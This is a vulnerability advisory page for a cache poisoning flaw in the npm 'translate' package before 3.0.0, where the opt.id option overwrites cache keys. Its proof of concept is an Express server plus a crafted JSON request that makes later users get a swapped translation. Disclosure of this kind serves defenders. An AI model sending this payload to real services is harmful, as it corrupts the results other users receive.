Medium

Cache Poisoning Vulnerability

  • Disclosed: 22.03.2024
  • Updated: 11.10.2026 10:22

Summary

An attacker controlling the second variable of the translate function is able to perform a cache poisoning attack. They can change the outcome of translation requests made by subsequent users.

Details

The opt.id parameter allows the overwriting of the cache key. If an attacker sets the id variable to the cache key that would be generated by another user, they can choose the response that user gets served.

PoC

Take the following simple server allowing users to supply text and the language to translate to.

js
import translate from "translate";
import express from 'express';

const app = express();
app.use(express.json());

app.post('/translate', async (req, res) => {
  const { text, language } = req.body;
  const result = await translate(text, language);
  return res.json(result);
});

const port = 3000;
app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

We can send the following request to poison the cache:

{"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}}

Poisoning the cache

Now, any user that attempts to translate "I love you" to Dutch, will get "I hate you" in Dutch as the response. The victim gets our poisoned data

Impact

An attacker can control the results other users may get

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package translate < 3.0.0 3.0.0

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Weakness (CWE)
CWE-20
Platform
npm
Package
translate
Disclosed
22.03.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-882j-4vj5-7vmj - CC BY 4.0

Vulnerability history: translate

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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